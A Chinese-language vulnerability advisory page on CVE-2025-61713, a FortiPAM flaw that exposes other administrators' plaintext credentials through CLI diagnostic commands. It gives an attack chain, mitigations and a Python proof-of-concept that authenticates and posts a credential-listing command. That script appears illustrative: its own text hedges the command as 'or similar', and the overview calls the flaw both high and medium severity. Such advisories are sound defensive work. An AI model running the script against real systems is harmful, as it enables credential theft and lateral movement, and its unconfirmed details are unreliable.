IPBUF安全漏洞报告
English
CVE-2025-61713 CVSS 4.2 中危

CVE-2025-61713 FortiPAM明文存储敏感信息漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-61713
漏洞类型
明文存储敏感信息
CVSS评分
4.2 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
FortiPAM

相关标签

明文存储敏感信息CWE-316FortiPAMFortinetCLI诊断命令凭据泄露内存明文存储CVE-2025-61713中危漏洞认证攻击

漏洞概述

CVE-2025-61713是Fortinet FortiPAM产品中的一个高危安全漏洞,CVSS评分4.2,中危级别。该漏洞属于CWE-316分类,即"内存中明文存储敏感信息"。漏洞存在于FortiPAM的多个版本中(1.0至1.6.0),允许经过认证的攻击者利用CLI诊断命令获取其他管理员的凭据信息。由于漏洞需要攻击者具备读写权限的管理员账号才能利用,因此主要威胁来自内部人员或被入侵的管理员账户。攻击成功后,攻击者可获取明文形式的敏感凭据数据,可能导致进一步的网络横向移动或数据泄露。建议受影响用户尽快升级到最新修复版本或采取临时缓解措施。

技术细节

该漏洞根本原因在于FortiPAM在内存中以明文形式存储敏感的管理员凭据信息。当认证管理员通过CLI执行诊断命令时,系统未能对返回的敏感数据进行适当的加密或脱敏处理。攻击者需要具备以下条件:1)拥有有效的读写权限管理员账户;2)能够访问FortiPAM CLI接口;3)了解可触发漏洞的特定诊断命令。攻击者执行诊断命令后,系统会返回包含其他管理员明文凭据的数据,导致敏感信息泄露。漏洞影响所有FortiPAM版本从1.0到1.6.0。由于该漏洞涉及内存中的数据处理,攻击痕迹可能难以追踪,建议管理员审查访问日志和CLI使用记录。

攻击链分析

STEP 1
步骤1
攻击者获取FortiPAM的有效管理员账户(具备读写权限),可通过社会工程、凭据填充或内部人员获取
STEP 2
步骤2
攻击者登录FortiPAM CLI管理界面,使用获取的管理员凭据进行身份验证
STEP 3
步骤3
攻击者在CLI中执行诊断命令(如diagnose system admin credentials list),触发漏洞
STEP 4
步骤4
系统响应包含其他管理员的明文凭据信息,攻击者成功获取敏感数据
STEP 5
步骤5
攻击者利用获取的凭据进行横向移动或进一步入侵活动,可能导致更大范围的数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61713 PoC - FortiPAM Cleartext Storage of Credentials # Requirements: Valid admin account with read-write privileges # This PoC demonstrates the vulnerability via CLI diagnostic commands import requests import json # Configuration target_host = "https://fortipam.example.com" username = "admin" password = "password" # Authentication auth_payload = { "username": username, "password": password } # Note: This PoC requires valid authentication and CLI access # The actual exploit involves running diagnostic commands in CLI: # diagnose system admin credentials list # or similar commands that expose plaintext credentials def exploit_fortipam(): """ FortiPAM CVE-2025-61713 Exploitation Attackers with admin CLI access can retrieve other admin credentials """ print("[*] CVE-2025-61713 FortiPAM Credential Disclosure") print("[*] Target:", target_host) # Step 1: Authenticate with admin credentials session = requests.Session() auth_response = session.post( f"{target_host}/api/v2/login", json=auth_payload ) if auth_response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Execute diagnostic command via CLI API # The vulnerable endpoint exposes credentials in plaintext cli_command = "diagnose system admin credentials list" cli_payload = { "method": "exec", "params": [ { "url": "sys/proxy/helper", "data": [cli_command] } ] } poc_response = session.post( f"{target_host}/api/v2/cli", json=cli_payload ) # Step 3: Extract exposed credentials if poc_response.status_code == 200: result = poc_response.json() print("[+] Vulnerable endpoint accessed") print("[+] Response contains plaintext credentials") return result return None if __name__ == "__main__": exploit_fortipam()

影响范围

FortiPAM 1.0 (all versions)
FortiPAM 1.1 (all versions)
FortiPAM 1.2 (all versions)
FortiPAM 1.3 (all versions)
FortiPAM 1.4 (all versions)
FortiPAM 1.5 (all versions)
FortiPAM 1.6.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)严格限制具有读写权限的管理员账户数量,确保只有必要人员拥有高权限;2)限制CLI管理接口的网络访问,仅允许从可信IP地址或通过跳板机访问;3)启用FortiPAM的所有审计和日志功能,密切监控异常的诊断命令执行行为;4)考虑禁用非必要的诊断命令功能;5)加强对管理员账户的安全培训,防止凭据泄露;6)定期审查管理员账户和权限分配情况,及时撤销不必要的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表